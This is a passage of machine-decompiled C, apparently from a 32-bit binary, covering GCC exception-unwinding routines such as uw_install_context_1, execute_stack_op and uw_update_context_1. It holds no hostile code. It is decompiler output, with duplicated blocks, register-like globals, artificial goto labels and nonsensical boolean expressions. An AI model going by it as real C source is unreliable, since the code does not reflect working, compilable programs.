base_of_encoded_value_717((int32_t)v22, (int32_t)a2); g96 = g102; g95 = v47; g99 -= 20; v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0); v38 = g99 + 16; v49 = v27; // branch -> 0x80a62dd } // 0x80a62dd v48 = v9; g97 = (int32_t)v48 + v48->e0 + 4; g96 = v1; g95 = v30 == 0 ? v49 : v30; g99 = v38 - 20; execute_cfa_program(&v22->e0, &a2->e0, 0); v39 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v39 + 8; return 0; } } // 0x80a628e v42 = 8; // branch -> 0x80a6293 } // 0x80a6293 v41 = v42 + v24; g102 = v41; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v41; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } else { v50 = v41; v52 = v42; v46 = v44; v30 = 0; } } // 0x80a62a9 v47 = v46->e25; if ((v47 || v52 & -256) == -1) { // 0x80a62a9 v38 = g99; v49 = v50; // branch -> 0x80a62dd } else { // 0x80a62b6 g97 = v1; g95 = v47; g99 -= 4; base_of_encoded_value_717((int32_t)v22, (int32_t)a2); g96 = g102; g95 = v47; g99 -= 20; v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0); v38 = g99 + 16; v49 = v27; // branch -> 0x80a62dd } // 0x80a62dd v48 = v9; g97 = (int32_t)v48 + v48->e0 + 4; g96 = v1; g95 = v30 == 0 ? v49 : v30; g99 = v38 - 20; execute_cfa_program(&v22->e0, &a2->e0, 0); v39 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v39 + 8; return 0; } v35 = v51; v26 = v21; while (true) { // 0x80a60f8 v53 = 0x1000000 * v35; int32_t v55; if (v53 != 0x4c000000) { lab_0x694b9a0: // 0x80a6100 if (v53 != 0x52000000) { // 0x80a6108 if (v53 == 0x50000000) { int32_t v56 = (int32_t)*(char *)g102; // 0x80a6110 g97 = v1; g95 = v56; v22 = (struct struct_103 *)0x80a611d; base_of_encoded_value_717((int32_t)a2, 0); g96 = g102 + 1; g95 = v56; int32_t v57 = read_encoded_value_with_base_720((int32_t)v3 + 168, (int32_t)v7, 192); // 0x80a6131 g102 = v57; int32_t v58 = (int32_t)v26 + 1; // 0x80a6138 char * v59 = (char *)v58; // 0x80a6138_3 g97 = v58; int32_t v60 = (int32_t)*v59 | v57 & -256; // 0x80a6141 g95 = v60; if (v60 == 0) { // break -> 0x80a6147 break; } v35 = v60; v26 = v59; // continue -> 0x80a60f8 continue; } else { // 0x80a623d v33 = v45; // branch -> 0x80a6240 } // 0x80a6240 if (v33 == 0) { // 0x80a6248 v37 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = v28; g99 = v37 + 8; return 3; } // 0x80a6155 v43 = v17; g97 = (int32_t)v43 + v43->e0 + 4; g96 = v1; g95 = v33; execute_cfa_program(&v3->e0, &v7->e0, 192); v24 = (int32_t)v9 + 8; g96 = v24; v44 = v3; g95 = (int32_t)v44; v40 = v44->e25; v36 = g99; if ((g97 & -256 || (int32_t)v40) == -1) { // 0x80a630e g102 = v24; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v24; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } else { v50 = v24; v52 = 0; v46 = v44; v30 = 0; } } else { // 0x80a618c v31 = v40 % 8; g97 = v31; if (v31 == 2) { // 0x80a6338 v42 = 4; // branch -> 0x80a6293 } else { // 0x80a6198 if (v31 < 3) { // 0x80a6286 if (v31 != 0) { // 0x80a61b0 abort(); // UNREACHABLE } } else { // 0x80a619e if (v31 != 3) { // 0x80a61a7 if (v31 != 4) { // 0x80a61b0 abort(); // UNREACHABLE } // 0x80a6347 v42 = 16; // branch -> 0x80a6293 // 0x80a6293 v41 = v42 + v24; g102 = v41; v50 = v41; v52 = v42; v46 = v44; v30 = 0; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v41; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } // 0x80a62a9 v47 = v46->e25; if ((v47 || v52 & -256) == -1) { // 0x80a62a9 // branch -> 0x80a62dd // 0x80a62dd v48 = v9; g97 = (int32_t)v48 + v48->e0 + 4; g96 = v1; g95 = v30 == 0 ? v50 : v30; g99 -= 20; execute_cfa_program(&v22->e0, &a2->e0, 0); v39 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v39 + 8; return 0; } // 0x80a62b6 g97 = v1; g95 = v47; g99 -= 4; base_of_encoded_value_717((int32_t)v22, (int32_t)a2); g96 = g102; g95 = v47; g99 -= 20; v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0); // branch -> 0x80a62dd // 0x80a62dd v48 = v9; g97 = (int32_t)v48 + v48->e0 + 4; g96 = v1; g95 = v30 == 0 ? v27 : v30; g99 -= 4; execute_cfa_program(&v22->e0, &a2->e0, 0); v39 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v39 + 8; return 0; } } // 0x80a628e v42 = 8; // branch -> 0x80a6293 } // 0x80a6293 v41 = v42 + v24; g102 = v41; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v41; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } else { v50 = v41; v52 = v42; v46 = v44; v30 = 0; } } // 0x80a62a9 v47 = v46->e25; if ((v47 || v52 & -256) == -1) { // 0x80a62a9 // branch -> 0x80a62dd // 0x80a62dd v48 = v9; g97 = (int32_t)v48 + v48->e0 + 4; g96 = v1; g95 = v30 == 0 ? v50 : v30; g99 -= 20; execute_cfa_program(&v22->e0, &a2->e0, 0); v39 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v39 + 8; return 0; } // 0x80a62b6 g97 = v1; g95 = v47; g99 -= 4; base_of_encoded_value_717((int32_t)v22, (int32_t)a2); g96 = g102; g95 = v47; g99 -= 20; v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0); // branch -> 0x80a62dd // 0x80a62dd v48 = v9; g97 = (int32_t)v48 + v48->e0 + 4; g96 = v1; g95 = v30 == 0 ? v27 : v30; g99 -= 4; execute_cfa_program(&v22->e0, &a2->e0, 0); v39 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v39 + 8; return 0; } unsigned char v61 = *(char *)g102; // 0x80a6224 g96 = (int32_t)v3; v3->e25 = v61; g102++; char * v62 = (char *)((int32_t)v26 + 1); // 0x80a6230_3 v55 = ((int32_t)v61 | v35 & -256) & -256 | (int32_t)*v62; // branch -> 0x80a60f4 // 0x80a60f4 g95 = v55; if (0x1000000 * v55 == 0) { // break -> 0x80a6147 break; } v35 = v55; v26 = v62; // continue -> 0x80a60f8 continue; } lab_0x14114130:; unsigned char v63 = *(char *)g102; // 0x80a6208 v3->e25 = v63; g102++; int32_t v64 = (int32_t)v26 + 1; // 0x80a6214 char * v65 = (char *)v64; // 0x80a6214_3 g97 = v64; v55 = ((int32_t)v63 | v35 & -256) & -256 | (int32_t)*v65; // branch -> 0x80a60f4 // 0x80a60f4 g95 = v55; if (0x1000000 * v55 == 0) { // break -> 0x80a6147 break; } v35 = v55; v26 = v65; // continue -> 0x80a60f8 } // 0x80a6147 g97 = v45; if (v45 == 0) { // 0x80a6240 v33 = g102; // branch -> 0x80a6240 // 0x80a6240 if (v33 == 0) { // 0x80a6248 v37 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = v28; g99 = v37 + 8; return 3; } v32 = v33; } else { // 0x80a6152 v32 = v45; // branch -> 0x80a6155 } // 0x80a6155 v43 = v17; g97 = (int32_t)v43 + v43->e0 + 4; g96 = v1; g95 = v32; execute_cfa_program(&v3->e0, &v7->e0, 192); v24 = (int32_t)v9 + 8; g96 = v24; v44 = v3; g95 = (int32_t)v44; v40 = v44->e25; v36 = g99; if ((g97 & -256 || (int32_t)v40) == -1) { // 0x80a630e g102 = v24; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v24; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } else { v50 = v24; v52 = 0; v46 = v44; v30 = 0; } } else { // 0x80a618c v31 = v40 % 8; g97 = v31; if (v31 == 2) { // 0x80a6338 v42 = 4; // branch -> 0x80a6293 } else { // 0x80a6198 if (v31 < 3) { // 0x80a6286 if (v31 != 0) { // 0x80a61b0 abort(); // UNREACHABLE } } else { // 0x80a619e if (v31 != 3) { // 0x80a61a7 if (v31 != 4) { // 0x80a61b0 abort(); // UNREACHABLE } // 0x80a6347 v42 = 16; // branch -> 0x80a6293 // 0x80a6293 v41 = v42 + v24; g102 = v41; v50 = v41; v52 = v42; v46 = v44; v30 = 0; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v41; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } // 0x80a62a9 v47 = v46->e25; if ((v47 || v52 & -256) == -1) { // 0x80a62a9 v38 = g99; v49 = v50; // branch -> 0x80a62dd } else { // 0x80a62b6 g97 = v1; g95 = v47; g99 -= 4; base_of_encoded_value_717((int32_t)v22, (int32_t)a2); g96 = g102; g95 = v47; g99 -= 20; v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0); v38 = g99 + 16; v49 = v27; // branch -> 0x80a62dd } // 0x80a62dd v48 = v9; g97 = (int32_t)v48 + v48->e0 + 4; g96 = v1; g95 = v30 == 0 ? v49 : v30; g99 = v38 - 20; execute_cfa_program(&v22->e0, &a2->e0, 0); v39 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v39 + 8; return 0; } } // 0x80a628e v42 = 8; // branch -> 0x80a6293 } // 0x80a6293 v41 = v42 + v24; g102 = v41; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v41; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } else { v50 = v41; v52 = v42; v46 = v44; v30 = 0; } } // 0x80a62a9 v47 = v46->e25; if ((v47 || v52 & -256) == -1) { // 0x80a62a9 v38 = g99; v49 = v50; // branch -> 0x80a62dd } else { // 0x80a62b6 g97 = v1; g95 = v47; g99 -= 4; base_of_encoded_value_717((int32_t)v22, (int32_t)a2); g96 = g102; g95 = v47; g99 -= 20; v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0); v38 = g99 + 16; v49 = v27; // branch -> 0x80a62dd } // 0x80a62dd v48 = v9; g97 = (int32_t)v48 + v48->e0 + 4; g96 = v1; g95 = v30 == 0 ? v49 : v30; g99 = v38 - 20; execute_cfa_program(&v22->e0, &a2->e0, 0); v39 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v39 + 8; return 0; } } else { // 0x80a60c4 g97 = (int32_t)v3 + 180; g95 = v23; v22 = (struct struct_103 *)0x80a60d4; read_uleb128_718((int32_t)a2); g102 = g95; g96 = (int32_t)v3; v3->e25 = -1; g101 = (int32_t)v21; int32_t v66 = g95 & -256 | (int32_t)*v21; // 0x80a60e3 g95 = v66; if (v66 != 122) { v51 = v66; v45 = 0; // 0x80a60f4 if (0x1000000 * v51 != 0) { v35 = v51; v26 = v21; while (true) { // 0x80a60f8 v53 = 0x1000000 * v35; if (v53 == 0x4c000000) { goto lab_0x14114130; } goto lab_0x694b9a0; } } // 0x80a6147 g97 = v45; if (v45 == 0) { // 0x80a6240 v33 = g102; // branch -> 0x80a6240 // 0x80a6240 if (v33 == 0) { // 0x80a6248 v37 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = v28; g99 = v37 + 8; return 3; } v32 = v33; } else { // 0x80a6152 v32 = v45; // branch -> 0x80a6155 } // 0x80a6155 v43 = v17; g97 = (int32_t)v43 + v43->e0 + 4; g96 = v1; g95 = v32; execute_cfa_program(&v3->e0, &v7->e0, 192); v24 = (int32_t)v9 + 8; g96 = v24; v44 = v3; g95 = (int32_t)v44; v40 = v44->e25; v36 = g99; if ((g97 & -256 || (int32_t)v40) == -1) { // 0x80a630e g102 = v24; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v24; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } else { v50 = v24; v52 = 0; v46 = v44; v30 = 0; } } else { // 0x80a618c v31 = v40 % 8; g97 = v31; if (v31 == 2) { // 0x80a6338 v42 = 4; // branch -> 0x80a6293 } else { // 0x80a6198 if (v31 < 3) { // 0x80a6286 if (v31 != 0) { // 0x80a61b0 abort(); // UNREACHABLE } } else { // 0x80a619e if (v31 != 3) { // 0x80a61a7 if (v31 != 4) { // 0x80a61b0 abort(); // UNREACHABLE } // 0x80a6347 v42 = 16; // branch -> 0x80a6293 // 0x80a6293 v41 = v42 + v24; g102 = v41; v50 = v41; v52 = v42; v46 = v44; v30 = 0; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v41; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } // 0x80a62a9 v47 = v46->e25; if ((v47 || v52 & -256) == -1) { // 0x80a62a9 v38 = g99; v49 = v50; // branch -> 0x80a62dd } else { // 0x80a62b6 g97 = v1; g95 = v47; g99 -= 4; base_of_encoded_value_717((int32_t)v22, (int32_t)a2); g96 = g102; g95 = v47; g99 -= 20; v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0); v38 = g99 + 16; v49 = v27; // branch -> 0x80a62dd } // 0x80a62dd v48 = v9; g97 = (int32_t)v48 + v48->e0 + 4; g96 = v1; g95 = v30 == 0 ? v49 : v30; g99 = v38 - 20; execute_cfa_program(&v22->e0, &a2->e0, 0); v39 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v39 + 8; return 0; } } // 0x80a628e v42 = 8; // branch -> 0x80a6293 } // 0x80a6293 v41 = v42 + v24; g102 = v41; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v41; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } else { v50 = v41; v52 = v42; v46 = v44; v30 = 0; } } // 0x80a62a9 v47 = v46->e25; if ((v47 || v52 & -256) == -1) { // 0x80a62a9 v38 = g99; v49 = v50; // branch -> 0x80a62dd } else { // 0x80a62b6 g97 = v1; g95 = v47; g99 -= 4; base_of_encoded_value_717((int32_t)v22, (int32_t)a2); g96 = g102; g95 = v47; g99 -= 20; v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0); v38 = g99 + 16; v49 = v27; // branch -> 0x80a62dd } // 0x80a62dd v48 = v9; g97 = (int32_t)v48 + v48->e0 + 4; g96 = v1; g95 = v30 == 0 ? v49 : v30; g99 = v38 - 20; execute_cfa_program(&v22->e0, &a2->e0, 0); v39 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v39 + 8; return 0; } } // 0x80a61db g97 = g100 - 16; g95 = g102; v22 = (struct struct_103 *)0x80a61e5; read_uleb128_718((int32_t)a2); int32_t v67 = g95; // 0x80a61e5 g102 = v67; int32_t v68 = v67 + v29; // 0x80a61ea g97 = (int32_t)v3; v3->e25 = 1; int32_t v69 = (int32_t)v21 + 1; // 0x80a61f9 char * v70 = (char *)v69; // 0x80a61f9_3 g96 = v69; int32_t v71 = v68 & -256 | (int32_t)*v70; // 0x80a61ff g95 = v71; v51 = v71; v45 = v68; // branch -> 0x80a60f4 // 0x80a60f4 if (0x1000000 * v51 != 0) { v35 = v51; v26 = v70; while (true) { // 0x80a60f8 v53 = 0x1000000 * v35; if (v53 == 0x4c000000) { goto lab_0x14114130; } goto lab_0x694b9a0; } } // 0x80a6147 g97 = v45; if (v45 == 0) { // 0x80a6240 v33 = g102; // branch -> 0x80a6240 // 0x80a6240 if (v33 == 0) { // 0x80a6248 v37 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = v28; g99 = v37 + 8; return 3; } v32 = v33; } else { // 0x80a6152 v32 = v45; // branch -> 0x80a6155 } // 0x80a6155 v43 = v17; g97 = (int32_t)v43 + v43->e0 + 4; g96 = v1; g95 = v32; execute_cfa_program(&v3->e0, &v7->e0, 192); v24 = (int32_t)v9 + 8; g96 = v24; v44 = v3; g95 = (int32_t)v44; v40 = v44->e25; v36 = g99; if ((g97 & -256 || (int32_t)v40) == -1) { // 0x80a630e g102 = v24; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v24; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } else { v50 = v24; v52 = 0; v46 = v44; v30 = 0; } } else { // 0x80a618c v31 = v40 % 8; g97 = v31; if (v31 == 2) { // 0x80a6338 v42 = 4; // branch -> 0x80a6293 } else { // 0x80a6198 if (v31 < 3) { // 0x80a6286 if (v31 != 0) { // 0x80a61b0 abort(); // UNREACHABLE } } else { // 0x80a619e if (v31 != 3) { // 0x80a61a7 if (v31 != 4) { // 0x80a61b0 abort(); // UNREACHABLE } // 0x80a6347 v42 = 16; // branch -> 0x80a6293 // 0x80a6293 v41 = v42 + v24; g102 = v41; v50 = v41; v52 = v42; v46 = v44; v30 = 0; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v41; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } // 0x80a62a9 v47 = v46->e25; if ((v47 || v52 & -256) == -1) { // 0x80a62a9 v38 = g99; v49 = v50; // branch -> 0x80a62dd } else { // 0x80a62b6 g97 = v1; g95 = v47; g99 -= 4; base_of_encoded_value_717((int32_t)v22, (int32_t)a2); g96 = g102; g95 = v47; g99 -= 20; v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0); v38 = g99 + 16; v49 = v27; // branch -> 0x80a62dd } // 0x80a62dd v48 = v9; g97 = (int32_t)v48 + v48->e0 + 4; g96 = v1; g95 = v30 == 0 ? v49 : v30; g99 = v38 - 20; execute_cfa_program(&v22->e0, &a2->e0, 0); v39 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v39 + 8; return 0; } } // 0x80a628e v42 = 8; // branch -> 0x80a6293 } // 0x80a6293 v41 = v42 + v24; g102 = v41; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v41; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } else { v50 = v41; v52 = v42; v46 = v44; v30 = 0; } } // 0x80a62a9 v47 = v46->e25; if ((v47 || v52 & -256) == -1) { // 0x80a62a9 v38 = g99; v49 = v50; // branch -> 0x80a62dd } else { // 0x80a62b6 g97 = v1; g95 = v47; g99 -= 4; base_of_encoded_value_717((int32_t)v22, (int32_t)a2); g96 = g102; g95 = v47; g99 -= 20; v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0); v38 = g99 + 16; v49 = v27; // branch -> 0x80a62dd } // 0x80a62dd v48 = v9; g97 = (int32_t)v48 + v48->e0 + 4; g96 = v1; g95 = v30 == 0 ? v49 : v30; g99 = v38 - 20; execute_cfa_program(&v22->e0, &a2->e0, 0); v39 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v39 + 8; return 0; } // Address range: 0x80a6534 - 0x80a653d int32_t uw_install_context_1(int32_t * a1, int32_t * a2) { // 0x80a6534 function_80a6542(); return g96; } // Address range: 0x80a6542 - 0x80a6611 int32_t function_80a6542(void) { // 0x80a6542 int32_t v1; int32_t v2 = v1 + 0x8b1b6; // 0x80a6543 g98 = v2; struct struct_111 * v3 = (struct struct_111 *)g95; // 0x80a6549_0 struct struct_112 * v4 = (struct struct_112 *)g97; // 0x80a654c_0 int32_t v5; int32_t v6; int32_t v7; // bp+425 int32_t v8; // bp+426 struct struct_111 * v9; int32_t * v10; // 0x80a6578 int32_t * v11; // 0x80a657a int32_t v12; // 0x80a656f int32_t v13; // 0x80a659c int32_t v14; // 0x80a659f int32_t v15; // 0x80a6563 struct struct_111 * v16; // 0x80a6563_0 int32_t v17; // 0x80a6566 struct struct_112 * v18; // 0x80a6566_0 struct struct_111 * v19; // 0x80a65ad_0 if (*(int32_t *)(g97 + 16) == 0) { // 0x80a65e6 g95 = *(int32_t *)(g97 + 72); if (*(char *)(v1 + 0x929fe) == 4) { // 0x80a65fb v4->e1 = (int32_t *)(g100 - 16); v18 = v4; v16 = v3; v6 = v1 + 0x929fa; // branch -> 0x80a6563 // 0x80a6563 v15 = (int32_t)v16; g102 = v15; v17 = (int32_t)v18; g101 = v17; v12 = g98 + 0x7855; v8 = v17; struct struct_112 * v20 = v18; v7 = v15; v9 = v16; v5 = v6; // branch -> 0x80a6578 while (true) { // 0x80a6578 v10 = v9->e0[v7]; v11 = v20->e0[v8]; v19 = v9; v14 = v8; v13 = v7; if (v11 != NULL) { lab_0x6a4a9c0: // 0x80a6580 if (v10 != NULL) { // 0x80a6584 if (v10 != v11) { // 0x80a6588 memcpy(v10, v11, (int32_t)*(char *)v5); v19 = v3; v14 = g101; v13 = g102; // branch -> 0x80a659c } else { v19 = v9; v14 = v8; v13 = v7; } } else { v19 = v9; v14 = v8; v13 = v7; } } lab_0xcaa0230:; int32_t v21 = v13 + 4; // 0x80a659c g102 = v21; int32_t v22 = v14 + 4; // 0x80a659f g101 = v22; int32_t v23 = v5 + 1; // 0x80a65a2 if (v23 == v12) { // 0x80a65ad g95 = (int32_t)v19; int32_t v24 = v19->e1; // 0x80a65b0 g96 = v24; if (v24 != 0) { int32_t v25 = g100; // 0x80a65b9 g98 = v1; g101 = v1; g102 = v1; g100 = v1; g99 = v25 + 8; return 0; } // 0x80a65c1 g95 = (int32_t)v4->e1; if (*(char *)(v6 + 4) != 4) { // 0x80a660c g99 -= 4; abort(); // UNREACHABLE } int32_t v26 = (int32_t)v4->e1 - v19->e3; // 0x80a65d5 g95 = v26; int32_t v27 = g100; // 0x80a65de g98 = v1; g101 = v1; g102 = v1; g100 = v1; g99 = v27 + 8; return v4->e3 + v26; } // 0x80a659c v8 = v22; v20 = v4; v7 = v21; v9 = v19; v5 = v23; // branch -> 0x80a6578 } } // 0x80a660c g99 -= 4; abort(); // UNREACHABLE } // 0x80a655a v18 = v4; v16 = v3; v6 = v1 + 0x929fa; // branch -> 0x80a6563 // 0x80a6563 v15 = (int32_t)v16; g102 = v15; v17 = (int32_t)v18; g101 = v17; v12 = v2 + 0x7855; v8 = v17; v7 = v15; v9 = v16; v5 = v6; // branch -> 0x80a6578 while (true) { // 0x80a6578 v10 = v9->e0[v7]; v11 = v18->e0[v8]; if (v11 == NULL) { v19 = v9; v14 = v8; v13 = v7; goto lab_0xcaa0230; } goto lab_0x6a4a9c0; } } // Address range: 0x80a6614 - 0x80a6620 int32_t execute_stack_op(int32_t * a1, int32_t * a2, int32_t a3) { // 0x80a6614 int32_t v1; int32_t v2; function_80a6625(v2, 0, 0, 0, v1); return g95; } // Address range: 0x80a6625 - 0x80a6c71 int32_t function_80a6625(int32_t a1, int32_t result, int32_t a3, int32_t a4, int32_t a5) { // 0x80a6625 int32_t v1; int32_t v2 = v1 + 0x8b0d3; // 0x80a6626 g98 = v2; int32_t v3 = g95; // 0x80a662c g101 = v3; g95 = result; uint32_t v4 = g97; // 0x80a6643 if (v3 >= v4) { // 0x80a6647 int32_t v5; g98 = v5; int32_t v6; g101 = v6; int32_t * v7; g102 = (int32_t)v7; int32_t v8 = g100; // 0x80a6659 g100 = v1; g99 = v8 + 4; return result; } int32_t v9 = (int32_t)*(char *)v3; // 0x80a6666 g97 = v9 | v4 & -256; g102 = v9; g95 = v3 + 1; uint32_t v10 = v9 - 3; // 0x80a6674 if (v10 < 148) { // 0x80a6684 g95 = *(int32_t *)(v1 + 0x620fb + 4 * v10) + v2; return unknown_81316f8(); } // 0x80a667e abort(); // UNREACHABLE } // Address range: 0x80a6c74 - 0x80a6c7d int32_t uw_update_context_1(int32_t a1, int32_t a2, int32_t a3) { int32_t v1; int32_t v2; function_80a6c82((struct struct_103 *)&v2, (struct struct_103 *)&v1); return g96; } // Address range: 0x80a6c82 - 0x80a6dcf int32_t function_80a6c82(struct struct_103 * a1, struct struct_103 * a2) { int32_t v1; g98 = v1 + 0x8aa76; g102 = g95; g101 = g97; int32_t v2 = g100; // 0x80a6c8d int32_t v3 = v2 - 120; // 0x80a6c8d *(int32_t *)(v2 - 136) = v3; int32_t * v4 = (int32_t *)g102; // 0x80a6c98_0 memcpy((int32_t *)v3, v4, 100); int32_t v5; // 0x80a6d8b_1 int32_t v6; int32_t v7; // 0x80a6ceb int32_t v8; int32_t * v9; int32_t v10; int32_t v11; int32_t v12; // 0x80a6d76 int32_t v13; // 0x80a6cb4 int32_t v14; int32_t v15; // 0x80a6cb4 uint32_t v16; // 0x80a6d7c int32_t v17; // 0x80a6d1f int32_t v18; // 0x80a6d354 if (v8 != 0) { // 0x80a6cad *(int32_t *)(g102 + 16) = 0; v13 = g101; v15 = *(int32_t *)(v13 + 160); g95 = v15; if (v15 == 1) { // 0x80a6d7c v16 = *(int32_t *)(v13 + 152); g95 = v16; if (v16 <= 17) { // 0x80a6d8b v5 = (int32_t)v9; g97 = v5; if (*(char *)(v16 + 0x7844 + g98) == 4) { // 0x80a6d9d v14 = v5; v6 = *v9 + *(int32_t *)(v13 + 148); // branch -> 0x80a6cf9 // 0x80a6cf9 *(int32_t *)(g102 + 72) = v6; v12 = g101; v18 = 18; // branch -> 0x80a6d1f while (true) { // 0x80a6d1f v17 = *(int32_t *)(v12 + 4); g95 = v17; if (v17 == 2) { goto lab_0x6a7ed60; } goto lab_0x1ac6e420; } } } // 0x80a6cc8 abort(); // UNREACHABLE } // 0x80a6cc3 if (v15 == 2) { // 0x80a6ccd g95 = *(int32_t *)(v13 + 156); g97 = g100 - 20; a1 = (struct struct_103 *)0x80a6cdb; read_uleb128_718((int32_t)a2); g97 = g95 + v11; g96 = v10; v7 = execute_stack_op(&g2->e0, v4, 100); v14 = (int32_t)v9; v6 = v7; // branch -> 0x80a6cf9 // 0x80a6cf9 *(int32_t *)(g102 + 72) = v6; v12 = g101; v18 = 18; // branch -> 0x80a6d1f while (true) { // 0x80a6d1f v17 = *(int32_t *)(v12 + 4); g95 = v17; if (v17 == 2) { goto lab_0x6a7ed60; } goto lab_0x1ac6e420; } } // 0x80a6cc8 abort(); // UNREACHABLE } // 0x80a6db6 g95 = *(int32_t *)(g102 + 72); if (*(char *)(g98 + 0x7848) != 4) { // 0x80a6cc8 abort(); // UNREACHABLE } int32_t v19 = g100; // 0x80a6dc9 *(int32_t *)(v19 - 104) = v19 - 16; // branch -> 0x80a6cad // 0x80a6cad *(int32_t *)(g102 + 16) = 0; v13 = g101; v15 = *(int32_t *)(v13 + 160); g95 = v15; if (v15 == 1) { // 0x80a6d7c v16 = *(int32_t *)(v13 + 152); g95 = v16; if (v16 <= 17) { // 0x80a6d8b v5 = (int32_t)v9; g97 = v5; if (*(char *)(v16 + 0x7844 + g98) == 4) { // 0x80a6d9d v14 = v5; v6 = *v9 + *(int32_t *)(v13 + 148); // branch -> 0x80a6cf9 // 0x80a6cf9 *(int32_t *)(g102 + 72) = v6; v12 = g101; v18 = 18; // branch -> 0x80a6d1f int32_t * v20; // 0x80a6d76_41 while (true) { // 0x80a6d1f v17 = *(int32_t *)(v12 + 4); g95 = v17; if (v17 == 2) { lab_0x6a7ed60: // 0x80a6d27 g95 = *(int32_t *)v12; *(int32_t *)g102 = v14; int32_t v21 = g101 + 8; // 0x80a6d2f g101 = v21; g102 += 4; int32_t v22 = v18 - 1; // 0x80a6d35 if (v22 == 0) { v20 = v9; // break -> 0x80a6d3a break; } v12 = v21; v18 = v22; // continue -> 0x80a6d1f continue; } else { lab_0x1ac6e420:; // 0x80a6d0c int32_t v23; // 0x80a6d62 if (v17 == 3) { // 0x80a6d44 g95 = *(int32_t *)v12; g97 = g100 - 20; g99 -= 4; read_uleb128_718((int32_t)a1); g97 = g95 + v11; g96 = v10; g99 -= 20; v23 = execute_stack_op(&a1->e0, &a2->e0, 0); *(int32_t *)g102 = v23; g99 += 16; // branch -> 0x80a6d14 } else { int32_t v24 = v17 - 1; // 0x80a6d11 if (v24 == 0) { // 